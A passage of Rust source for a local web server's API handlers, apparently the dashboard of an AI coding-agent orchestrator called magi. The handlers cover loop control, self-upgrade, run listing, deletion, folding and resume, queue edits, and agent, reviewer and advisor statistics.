1811 parking: bool,
1819 owned: bool,
1827 repo: String,
1830 merge: Option<String>,
1833 last_error: Option<String>,
1841 daemon: DaemonView,
1844}
1845
1846#[derive(Debug, Clone, Copy)]
1855struct Foreign {
1856 pid: Option<u32>,
1858}
1859
1860impl Foreign {
1861 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1864 let reading = reading?;
1865 if !reading.running(Timestamp::now()) {
1866 return None;
1867 }
1868 match reading.pid {
1869 Some(pid) if pid == std::process::id() => None,
1870 pid => Some(Self { pid }),
1874 }
1875 }
1876
1877 fn who(&self) -> String {
1880 match self.pid {
1881 Some(pid) => format!("another magi process (pid {pid})"),
1882 None => "another magi process".to_owned(),
1883 }
1884 }
1885}
1886
1887type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1892
1893fn launch_daemon(
1895 opts: daemon::Opts,
1896 stop: daemon::Stop,
1897) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1898 Box::pin(daemon::serve_until(opts, stop))
1899}
1900
1901#[derive(Debug, Default)]
1903struct LoopState {
1904 live: Option<Live>,
1906 rev: u64,
1914 last_error: Option<String>,
1917}
1918
1919#[derive(Debug)]
1921struct Live {
1922 stop: daemon::Stop,
1924 handle: tokio::task::JoinHandle<()>,
1929 opts: daemon::Opts,
1933}
1934
1935impl Live {
1936 fn alive(&self) -> bool {
1938 !self.handle.is_finished()
1939 }
1940}
1941
1942fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1949 state.lock().unwrap_or_else(PoisonError::into_inner)
1950}
1951
1952async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1954 blocking(move || {
1955 let reading = daemon::read_status(&ui.home);
1956 Ok(Json(ui.loop_view(reading)))
1957 })
1958 .await
1959}
1960
1961#[derive(Debug, Deserialize)]
1967#[serde(deny_unknown_fields)]
1968struct LoopCommand {
1969 running: bool,
1970 #[serde(default)]
1980 park: bool,
1981}
1982
1983async fn loop_post(
1991 State(ui): State<Arc<Ui>>,
1992 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1993) -> ApiResult<Json<LoopView>> {
1994 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1997 blocking(move || {
1998 let reading = daemon::read_status(&ui.home);
1999 let foreign = Foreign::of(reading.as_ref());
2000 if body.running {
2001 ui.start_loop(foreign)?;
2002 } else {
2003 ui.stop_loop(foreign, body.park)?;
2004 }
2005 Ok(Json(ui.loop_view(reading)))
2006 })
2007 .await
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeView {
2013 from: String,
2015 to: Option<String>,
2017 parked: Option<String>,
2019 detail: String,
2021}
2022
2023async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2047 let reading = daemon::read_status(&ui.home);
2048 if let Some(other) = Foreign::of(reading.as_ref()) {
2049 return Err(ApiError::conflict(format!(
2050 "the loop belongs to {}, so replacing this binary would leave \
2051 that process running an old one against the same queue. Upgrade \
2052 where it was started.",
2053 other.who()
2054 )));
2055 }
2056
2057 if crate::updater::disabled_by_env() {
2063 return Ok((
2064 StatusCode::OK,
2065 Json(UpgradeView {
2066 from: env!("CARGO_PKG_VERSION").to_owned(),
2067 to: None,
2068 parked: None,
2069 detail: format!(
2070 "Automatic updates are disabled by {}. Nothing was parked \
2071 and nothing restarted.",
2072 crate::updater::NO_AUTOUPDATE_ENV
2073 ),
2074 }),
2075 ));
2076 }
2077
2078 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2083 let from = env!("CARGO_PKG_VERSION").to_owned();
2084 let latest = match crate::updater::Checker::new(&cfg.update) {
2085 Some(checker) => checker
2086 .newer_release()
2087 .await
2088 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2089 None => None,
2090 };
2091 let Some(latest) = latest else {
2092 return Ok((
2093 StatusCode::OK,
2094 Json(UpgradeView {
2095 from,
2096 to: None,
2097 parked: None,
2098 detail: "Already on the newest release. Nothing was parked \
2099 and nothing restarted."
2100 .to_owned(),
2101 }),
2102 ));
2103 };
2104
2105 let parked = ui.park_for_upgrade()?;
2108 let detail = match &parked {
2109 Some(run) => format!(
2114 "Run {} is parking at its next step, which can take as long as \
2115 the step it is on - up to an hour for an implement wave. The \
2116 deck replaces itself once it parks, comes back, and the loop \
2117 carries that run on from where it stopped. Nothing is lost if \
2118 you close this.",
2119 crate::run::short_of(run)
2120 ),
2121 None => "The deck replaces itself and comes back. Nothing was in \
2122 flight to park."
2123 .to_owned(),
2124 };
2125
2126 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2130 progress.parked_run = parked.clone();
2131 let _ = updater::write_progress(&ui.home, &progress);
2132
2133 let home = ui.home.clone();
2134 tokio::spawn(async move {
2135 if let Err(e) = upgrade_and_restart(home.clone()).await {
2136 tracing::error!("the upgrade did not complete: {e:#}");
2137 if let Some(mut progress) = updater::read_progress(&home) {
2138 progress.fail(format!("{e:#}"));
2139 let _ = updater::write_progress(&home, &progress);
2140 }
2141 }
2142 });
2143
2144 Ok((
2145 StatusCode::ACCEPTED,
2146 Json(UpgradeView {
2147 from,
2148 to: Some(latest.tag_name),
2149 parked,
2150 detail,
2151 }),
2152 ))
2153}
2154
2155async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2160 crate::updater::run_self_update(true, false, true).await?;
2163 tracing::info!("binary replaced - asking the server to hand over");
2164 if let Some(mut progress) = updater::read_progress(&home) {
2165 progress.advance(updater::Stage::Replaced);
2166 let _ = updater::write_progress(&home, &progress);
2167 }
2168 HANDOVER.notify_one();
2169 Ok(())
2170}
2171
2172#[derive(Debug, Serialize)]
2178struct RunSummary {
2179 id: String,
2180 short: String,
2181 status: String,
2182 done: bool,
2183 instruction: String,
2184 title: String,
2185 repo: String,
2186 repo_name: String,
2187 created_at: String,
2188 updated_at: String,
2189 candidates: usize,
2190 viable: usize,
2191 judges: usize,
2192 winner: Option<char>,
2193 reviews: usize,
2194 quota_losses: usize,
2195 event: Option<String>,
2196 superseded_by: Option<String>,
2201 waiting: bool,
2208 live: crate::run::Liveness,
2212 pr: Option<crate::run::PrRecord>,
2214 unmerged_by_design: bool,
2220}
2221
2222impl RunSummary {
2223 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2224 Self {
2225 id: state.id.clone(),
2226 short: state.short().to_owned(),
2227 status: status_word(state.status),
2228 done: state.status.done(),
2229 unmerged_by_design: state.unmerged_by_design(),
2230 instruction: state.instruction.clone(),
2231 title: title_from(&state.instruction, TITLE_MAX),
2232 repo: state.repo.display().to_string(),
2233 repo_name: state
2234 .repo
2235 .file_name()
2236 .map(|n| n.to_string_lossy().into_owned())
2237 .unwrap_or_default(),
2238 created_at: state.created_at.to_string(),
2239 updated_at: state.updated_at.to_string(),
2240 candidates: state.candidates.len(),
2241 viable: state.viable().len(),
2242 judges: state.config.graph.judges,
2243 winner: state.winner().map(|c| c.label),
2244 reviews: state.reviews.len(),
2245 quota_losses: state.quota.len(),
2246 event: state.events.last().map(|e| e.message.clone()),
2247 waiting,
2248 live,
2249 superseded_by: None,
2252 pr: state.pr.clone(),
2253 }
2254 }
2255}
2256
2257fn status_word(status: RunStatus) -> String {
2260 status.as_str().to_owned()
2264}
2265
2266#[derive(Debug, Deserialize)]
2268struct ListQuery {
2269 #[serde(default)]
2270 limit: Option<usize>,
2271}
2272
2273async fn runs_list(
2274 State(ui): State<Arc<Ui>>,
2275 Query(q): Query<ListQuery>,
2276) -> ApiResult<Json<Vec<RunSummary>>> {
2277 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2278 blocking(move || {
2279 let superseded = ui.queue.superseded();
2280 let open_runs: HashSet<String> = ui
2284 .questions
2285 .list()
2286 .into_iter()
2287 .filter(|q| q.status.open())
2288 .map(|q| q.run)
2289 .collect();
2290 let claimed: HashSet<String> =
2291 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2292 .into_iter()
2293 .map(|c| c.run)
2294 .collect();
2295 let states = run_ids(&ui.runs)
2296 .into_iter()
2297 .filter_map(|id| read_run(&ui.runs, &id).ok())
2302 .take(limit);
2303 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2304 let summaries = summarize(
2305 states,
2306 &open_runs,
2307 &claimed,
2308 &superseded,
2309 |p| probe.borrow_mut().status(p),
2310 |p| probe.borrow_mut().started_at(p),
2311 );
2312 Ok(Json(summaries))
2313 })
2314 .await
2315}
2316
2317fn summarize<I, S, D>(
2323 states: I,
2324 open_runs: &HashSet<String>,
2325 claimed: &HashSet<String>,
2326 superseded: &HashMap<String, String>,
2327 mut status_q: S,
2328 mut identity_q: D,
2329) -> Vec<RunSummary>
2330where
2331 I: IntoIterator<Item = RunState>,
2332 S: FnMut(u32) -> Option<bool>,
2333 D: FnMut(u32) -> Option<String>,
2334{
2335 states
2336 .into_iter()
2337 .map(|state| {
2338 let waiting = open_runs.contains(&state.id);
2339 let live =
2340 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2341 let mut row = RunSummary::of(&state, waiting, live);
2342 row.superseded_by = superseded
2343 .get(&state.id)
2344 .map(String::as_str)
2345 .map(crate::run::short_of)
2346 .map(str::to_owned);
2347 row
2348 })
2349 .collect()
2350}
2351
2352#[derive(Debug, Serialize)]
2359struct RunDetailView {
2360 #[serde(flatten)]
2361 state: RunState,
2362 instruction_md: Vec<md::Node>,
2363 live: crate::run::Liveness,
2378 unmerged_by_design: bool,
2383 superseded_by: Option<String>,
2391 latest_attempt: Option<LatestAttempt>,
2405}
2406
2407#[derive(Debug, Serialize)]
2409struct LatestAttempt {
2410 id: String,
2411 short: String,
2412 resolved: bool,
2423}
2424
2425impl RunDetailView {
2426 fn of(
2427 state: RunState,
2428 live: crate::run::Liveness,
2429 superseded_by: Option<String>,
2430 latest_attempt: Option<LatestAttempt>,
2431 ) -> Self {
2432 Self {
2433 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2434 live,
2435 unmerged_by_design: state.unmerged_by_design(),
2436 superseded_by,
2437 latest_attempt,
2438 state,
2439 }
2440 }
2441}
2442
2443async fn run_detail(
2444 State(ui): State<Arc<Ui>>,
2445 Path(id): Path<String>,
2446) -> ApiResult<Json<RunDetailView>> {
2447 blocking(move || {
2448 let id = resolve_run(&ui.runs, &id)?;
2449 let state = read_run(&ui.runs, &id)?;
2450 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2451 let live = state.liveness(daemon_claims);
2452 let superseded_by = ui
2453 .queue
2454 .superseded_by(&id)
2455 .as_deref()
2456 .map(crate::run::short_of)
2457 .map(str::to_owned);
2458 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2462 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2463 short: head.short().to_owned(),
2464 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2465 id: head.id,
2466 })
2467 });
2468 Ok(Json(RunDetailView::of(
2469 state,
2470 live,
2471 superseded_by,
2472 latest_attempt,
2473 )))
2474 })
2475 .await
2476}
2477
2478async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2487 let (id, unreadable) = {
2488 let ui = Arc::clone(&ui);
2489 blocking(move || {
2490 let id = resolve_run(&ui.runs, &id)?;
2491 match read_run(&ui.runs, &id) {
2492 Ok(state) => {
2493 let in_flight =
2494 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2495 state
2496 .ensure_can_delete(in_flight)
2497 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2498 let dir = ui.runs.join(&id);
2499 std::fs::remove_dir_all(&dir)
2500 .with_context(|| format!("remove run directory {}", dir.display()))?;
2501 Ok((id, false))
2502 }
2503 Err(_) => {
2504 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2508 return Err(ApiError::conflict(format!(
2509 "run {id} is being worked on by a live daemon right now"
2510 )));
2511 }
2512 Ok((id, true))
2513 }
2514 }
2515 })
2516 .await?
2517 };
2518 if unreadable {
2519 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2520 .await
2521 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2522 }
2523 let ui = Arc::clone(&ui);
2524 let done = id.clone();
2525 blocking(move || {
2526 ui.questions.abandon_for_run(
2529 &done,
2530 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2531 )?;
2532 Ok(())
2533 })
2534 .await?;
2535 Ok(StatusCode::NO_CONTENT)
2536}
2537
2538async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562 let (id, state) = {
2563 let ui = Arc::clone(&ui);
2564 blocking(move || {
2565 let id = resolve_run(&ui.runs, &id)?;
2566 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567 return Err(ApiError::conflict(format!(
2568 "run {id} is being worked on by a live daemon right now"
2569 )));
2570 }
2571 let state = read_run(&ui.runs, &id).ok();
2572 Ok((id, state))
2573 })
2574 .await?
2575 };
2576 let removed = match state {
2577 Some(mut state) => {
2578 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579 .await
2580 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581 if removed.is_empty() {
2586 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588 }
2589 removed
2590 }
2591 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592 .await
2593 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594 };
2595 Ok(Json(FoldView {
2596 run: id,
2597 removed_count: removed.len(),
2598 removed,
2599 }))
2600}
2601
2602#[derive(Debug, Serialize)]
2604struct FoldView {
2605 run: String,
2606 removed: Vec<String>,
2608 removed_count: usize,
2609}
2610
2611#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615 #[serde(default)]
2616 pr_url: String,
2617}
2618
2619async fn run_fold_merged(
2639 State(ui): State<Arc<Ui>>,
2640 Path(id): Path<String>,
2641 Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643 let pr_url = body.pr_url.trim().to_owned();
2644 if pr_url.is_empty() {
2645 return Err(ApiError::bad_request("pr_url is required"));
2646 }
2647 let (id, mut state) = {
2648 let ui = Arc::clone(&ui);
2649 blocking(move || {
2650 let id = resolve_run(&ui.runs, &id)?;
2651 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652 return Err(ApiError::conflict(format!(
2653 "run {id} is being worked on by a live daemon right now"
2654 )));
2655 }
2656 let state = read_run(&ui.runs, &id)?;
2657 Ok((id, state))
2658 })
2659 .await?
2660 };
2661 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662 .await
2663 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665 .await
2666 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667 Ok(Json(FoldMergedView {
2668 run: id,
2669 before: before.as_str().to_owned(),
2670 after: after.as_str().to_owned(),
2671 removed,
2672 }))
2673}
2674
2675#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678 run: String,
2679 before: String,
2681 after: String,
2683 removed: Vec<String>,
2685}
2686
2687async fn run_resume(
2707 State(ui): State<Arc<Ui>>,
2708 Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710 let (id, state) = {
2711 let ui = Arc::clone(&ui);
2712 blocking(move || {
2713 let id = resolve_run(&ui.runs, &id)?;
2714 let state = read_run(&ui.runs, &id)?;
2715 Ok((id, state))
2716 })
2717 .await?
2718 };
2719 if !state.status.resumable() {
2720 return Err(ApiError::conflict(format!(
2721 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2722 state.short(),
2723 status_word(state.status)
2724 )));
2725 }
2726 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2731 .into_iter()
2732 .next()
2733 {
2734 return Err(ApiError::conflict(format!(
2735 "the loop is running run {} right now; stop it first, or wait for \
2736 it to finish, before resuming a run by hand.",
2737 crate::run::short_of(&work.run)
2738 )));
2739 }
2740 let _resume = ui.begin_resume(&id)?;
2741
2742 let queued = RunSummary::of(
2745 &state,
2746 !ui.questions.open_for(&id).is_empty(),
2747 state.liveness(false),
2748 );
2749 let run = id.clone();
2750 tokio::spawn(async move {
2751 let _resume = _resume;
2752 match crate::graph::Runner::resume(&run) {
2753 Ok(mut runner) => {
2754 if let Err(e) = runner.execute().await {
2755 tracing::warn!("resume of run {run} stopped: {e:#}");
2756 }
2757 }
2758 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2761 }
2762 });
2763 Ok((StatusCode::ACCEPTED, Json(queued)))
2764}
2765
2766async fn run_report(
2767 State(ui): State<Arc<Ui>>,
2768 Path(id): Path<String>,
2769) -> ApiResult<impl IntoResponse> {
2770 let text = blocking(move || {
2771 let id = resolve_run(&ui.runs, &id)?;
2772 let state = read_run(&ui.runs, &id)?;
2776 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2777 let live = state.liveness(daemon_claims);
2778 Ok(format!(
2779 "{}{}",
2780 report::run(&state),
2781 report::active_seats(&state, live)
2782 ))
2783 })
2784 .await?;
2785 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2786}
2787
2788#[derive(Debug, Serialize)]
2794struct TaskView {
2795 #[serde(flatten)]
2796 task: Task,
2797 source_label: String,
2798 status_str: &'static str,
2799 instruction_md: Vec<md::Node>,
2803 waits_on: Vec<String>,
2807 stuck_roots: Vec<String>,
2810}
2811
2812impl From<Task> for TaskView {
2813 fn from(task: Task) -> Self {
2814 Self {
2815 source_label: task.source.label(),
2816 status_str: task.status.as_str(),
2817 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2818 waits_on: Vec::new(),
2819 stuck_roots: Vec::new(),
2820 task,
2821 }
2822 }
2823}
2824
2825impl TaskView {
2826 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2827 let waits_on = inv.waits_on(&task);
2828 let stuck_roots = inv
2829 .stuck_roots(&task)
2830 .iter()
2831 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2832 .collect();
2833 Self {
2834 waits_on,
2835 stuck_roots,
2836 ..Self::from(task)
2837 }
2838 }
2839}
2840
2841#[derive(Debug, Default, Deserialize)]
2844#[serde(default)]
2845struct ReposQuery {
2846 refresh: u8,
2847}
2848
2849async fn repos_list(
2856 State(ui): State<Arc<Ui>>,
2857 Query(q): Query<ReposQuery>,
2858) -> ApiResult<Json<Vec<repos::Repo>>> {
2859 let refresh = q.refresh != 0;
2860 blocking(move || {
2861 let (cfg, _) = Config::discover(&ui.repo, None)?;
2862 Ok(Json(ui.repos_cache.list(
2863 &cfg.repos.roots,
2864 Duration::from_secs(cfg.repos.scan_ttl),
2865 refresh,
2866 )))
2867 })
2868 .await
2869}
2870
2871async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2872 blocking(move || {
2873 let tasks = ui.queue.list();
2874 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2875 Ok(Json(
2876 tasks
2877 .into_iter()
2878 .map(|t| TaskView::with_inventory(t, &inv))
2879 .collect(),
2880 ))
2881 })
2882 .await
2883}
2884
2885#[derive(Debug, Serialize)]
2889struct RateView {
2890 pct: f64,
2891 denominator: usize,
2892}
2893
2894impl RateView {
2895 fn of(numerator: usize, denominator: usize) -> Option<Self> {
2896 (denominator > 0).then(|| Self {
2897 pct: 100.0 * numerator as f64 / denominator as f64,
2898 denominator,
2899 })
2900 }
2901}
2902
2903#[derive(Debug, Serialize)]
2908struct StatsTotalsView {
2909 runs: usize,
2910 merged: usize,
2911 ready: usize,
2912 blocked: usize,
2913 failed: usize,
2914 stalled: usize,
2915 verified_noop: usize,
2916 superseded: usize,
2917 in_progress: usize,
2918 completion_rate: Option<RateView>,
2919 tallied: usize,
2920 split: usize,
2921 split_rate: Option<RateView>,
2922 deliberated: usize,
2923 minds_changed: usize,
2924 converged: usize,
2925 review_rounds: usize,
2926}
2927
2928impl From<&stats::Totals> for StatsTotalsView {
2929 fn from(t: &stats::Totals) -> Self {
2930 Self {
2931 runs: t.runs,
2932 merged: t.merged,
2933 ready: t.ready,
2934 blocked: t.blocked,
2935 failed: t.failed,
2936 stalled: t.stalled,
2937 verified_noop: t.verified_noop,
2938 superseded: t.superseded,
2939 in_progress: t.in_progress,
2940 completion_rate: RateView::of(t.merged + t.ready, t.runs),
2941 tallied: t.tallied,
2942 split: t.split,
2943 split_rate: RateView::of(t.split, t.tallied),
2944 deliberated: t.deliberated,
2945 minds_changed: t.minds_changed,
2946 converged: t.converged,
2947 review_rounds: t.review_rounds,
2948 }
2949 }
2950}
2951
2952#[derive(Debug, Serialize)]
2954struct AgentStatsView {
2955 agent: String,
2956 entered: usize,
2957 wins: usize,
2958 empty: usize,
2959 win_rate: Option<RateView>,
2960}
2961
2962impl From<&stats::AgentStats> for AgentStatsView {
2963 fn from(a: &stats::AgentStats) -> Self {
2964 Self {
2965 agent: a.agent.clone(),
2966 entered: a.entered,
2967 wins: a.wins,
2968 empty: a.empty,
2969 win_rate: RateView::of(a.wins, a.entered),
2970 }
2971 }
2972}
2973
2974#[derive(Debug, Serialize)]
2978struct ReviewerStatsView {
2979 agent: String,
2980 rounds: usize,
2981 seated: usize,
2982 submitted: usize,
2983 adopted: usize,
2984 unique: usize,
2985 timeouts: usize,
2986 adopted_per_round: Option<f64>,
2987 precision: Option<RateView>,
2988 unique_rate: Option<RateView>,
2989 timeout_rate: Option<RateView>,
2990}
2991
2992impl From<&stats::ReviewerStats> for ReviewerStatsView {
2993 fn from(r: &stats::ReviewerStats) -> Self {
2994 Self {
2995 agent: r.agent.clone(),
2996 rounds: r.rounds,
2997 seated: r.seated,
2998 submitted: r.submitted,
2999 adopted: r.adopted,
3000 unique: r.unique,
3001 timeouts: r.timeouts,
3002 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3003 precision: RateView::of(r.adopted, r.submitted),
3004 unique_rate: RateView::of(r.unique, r.submitted),
3005 timeout_rate: RateView::of(r.timeouts, r.seated),
3006 }
3007 }
3008}
3009
3010#[derive(Debug, Serialize)]
3016struct AdvisorStatsView {
3017 agent: String,
3018 seated: usize,
3019 proposed: usize,
3020 absent: usize,
3021 faint: usize,
3022 strong: usize,
3023 reflection_rate: Option<RateView>,
3024}
3025
3026impl From<&stats::AdvisorStats> for AdvisorStatsView {
3027 fn from(a: &stats::AdvisorStats) -> Self {
3028 Self {
3029 agent: a.agent.clone(),
3030 seated: a.seated,
3031 proposed: a.proposed,
3032 absent: a.absent,
3033 faint: a.faint,
3034 strong: a.strong,
3035 reflection_rate: RateView::of(a.strong, a.proposed),
3036 }
3037 }
3038}
3039
3040#[derive(Debug, Serialize)]
3042struct E2eStatsView {
3043 rounds: usize,
3044 failures: usize,
3045 sole_detections: usize,
3046 deferred: usize,
3047 sole_rate: Option<RateView>,
3048}
3049
3050impl From<&stats::E2eStats> for E2eStatsView {
3051 fn from(e: &stats::E2eStats) -> Self {
3052 Self {
3053 rounds: e.rounds,
3054 failures: e.failures,
3055 sole_detections: e.sole_detections,
3056 deferred: e.deferred,
3057 sole_rate: RateView::of(e.sole_detections, e.failures),
3058 }
3059 }
3060}
3061
3062#[derive(Debug, Serialize)]
3064struct TaskCountsView {
3065 queued: usize,
3066 running: usize,
3067 done: usize,
3068 failed: usize,
3069 held: usize,
3070 blocked: usize,
3071}
3072
3073impl From<crate::queue::TaskCounts> for TaskCountsView {
3074 fn from(c: crate::queue::TaskCounts) -> Self {
3075 Self {
3076 queued: c.queued,
3077 running: c.running,
3078 done: c.done,
3079 failed: c.failed,
3080 held: c.held,
3081 blocked: c.blocked,
3082 }
3083 }
3084}
3085
3086#[derive(Debug, Serialize)]
3092struct StatsView {
3093 totals: StatsTotalsView,
3094 agents: Vec<AgentStatsView>,
3096 reviewers: Vec<ReviewerStatsView>,
3098 advisors: Vec<AdvisorStatsView>,
3100 e2e: E2eStatsView,
3101 queue: TaskCountsView,
3102 runs_unreadable: usize,
3106}
3107
3108async fn stats_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<StatsView>> {
3114 blocking(move || {
3115 let states: Vec<RunState> = run_ids(&ui.runs)
3116 .into_iter()
3117 .filter_map(|id| read_run(&ui.runs, &id).ok())
3118 .collect();
3119 let collected = stats::collect(&states);
3120 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3121 Ok(Json(StatsView {
3122 totals: StatsTotalsView::from(&collected.totals),
3123 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3124 reviewers: collected
3125 .reviewers
3126 .iter()
3127 .map(ReviewerStatsView::from)
3128 .collect(),
3129 advisors: collected
3130 .advisors
3131 .iter()
3132 .map(AdvisorStatsView::from)
3133 .collect(),
3134 e2e: E2eStatsView::from(&collected.e2e),
3135 queue: TaskCountsView::from(queue_counts),
3136 runs_unreadable: runs_unreadable(&ui.runs),
3137 }))
3138 })
3139 .await
3140}
3141
3142#[derive(Debug, Default, Deserialize)]
3145#[serde(default, deny_unknown_fields)]
3146struct HoldBody {
3147 reason: Option<String>,
3148}
3149
3150async fn queue_hold(
3151 State(ui): State<Arc<Ui>>,
3152 Path(id): Path<String>,
3153 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3154) -> ApiResult<Json<TaskView>> {
3155 let body = match body {
3159 Ok(Json(body)) => body,
3160 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3161 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3162 };
3163 let reason = body.reason.filter(|r| !r.trim().is_empty());
3164 mutate(ui, id, move |t| {
3165 t.hold_manual(reason.clone());
3166 Ok(())
3167 })
3168 .await
3169}
3170
3171async fn queue_release(
3172 State(ui): State<Arc<Ui>>,
3173 Path(id): Path<String>,
3174) -> ApiResult<Json<TaskView>> {
3175 mutate(ui, id, |t| {
3176 t.release();
3177 Ok(())
3178 })
3179 .await
3180}
3181
3182#[derive(Debug, Deserialize)]
3184#[serde(deny_unknown_fields)]
3185struct PriorityBody {
3186 priority: i32,
3187}
3188
3189async fn queue_priority(
3195 State(ui): State<Arc<Ui>>,
3196 Path(id): Path<String>,
3197 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3198) -> ApiResult<Json<TaskView>> {
3199 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3200 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3201}
3202
3203#[derive(Debug, Deserialize)]
3205#[serde(deny_unknown_fields)]
3206struct EditBody {
3207 title: String,
3208 instruction: String,
3209}
3210
3211async fn queue_edit(
3215 State(ui): State<Arc<Ui>>,
3216 Path(id): Path<String>,
3217 body: std::result::Result<Json<EditBody>, JsonRejection>,
3218) -> ApiResult<Json<TaskView>> {
3219 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3220 mutate(ui, id, move |t| {
3221 t.edit(body.title.clone(), body.instruction.clone())
3222 })
3223 .await
3224}
3225
3226async fn queue_done(
3234 State(ui): State<Arc<Ui>>,
3235 Path(id): Path<String>,
3236) -> ApiResult<Json<TaskView>> {
3237 let home = ui.home.clone();
3238 mutate(ui, id, move |t| {
3239 t.succeed();
3240 crate::daemon::supersede_prior_runs(t, &home);
3248 Ok(())
3249 })
3250 .await
3251}
3252
3253async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3261 blocking(move || {
3262 let id = resolve_task(&ui.queue, &id)?;
3263 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3264 ui.queue
3265 .remove(&id, in_flight, &ui.questions)
3266 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3267 Ok(StatusCode::NO_CONTENT)
3268 })
3269 .await
3270}
3271
3272async fn mutate(
3281 ui: Arc<Ui>,
3282 id: String,
3283 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3284) -> ApiResult<Json<TaskView>> {
3285 blocking(move || {
3286 let id = resolve_task(&ui.queue, &id)?;
3287 let _claim = ui.queue.claim(&id).map_err(|e| {
3292 ApiError::conflict(format!(
3293 "{e:#} - a daemon is running this task, so it cannot be \
3294 changed from here yet"
3295 ))
3296 })?;
3297 let mut task = ui.queue.get(&id)?;
3298 change(&mut task).map_err(ApiError::bad_request_from)?;
3299 ui.queue.put(&mut task)?;
3300 Ok(Json(TaskView::from(task)))
3301 })
3302 .await
3303}
3304
3305async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3313 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3314 tokio::spawn(async move {
3315 let mut ticker = tokio::time::interval(POLL);
3316 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3317 loop {
3318 ticker.tick().await;
3321 let state = Arc::clone(&ui);
3322 let revisions = tokio::task::spawn_blocking(move || {
3323 (
3324 state.queue.revision(),
3325 runs_revision(&state.runs),
3326 state.questions.revision(),
3327 state.talks.revision(),
3328 state.notices.revision(),
3329 state.lock_loop().rev,
3333 )
3334 })
3335 .await;
3336 let Ok(revisions) = revisions else { break };
3337 if last == Some(revisions) {
3338 continue;
3339 }
3340 last = Some(revisions);
3341 let payload = serde_json::json!({
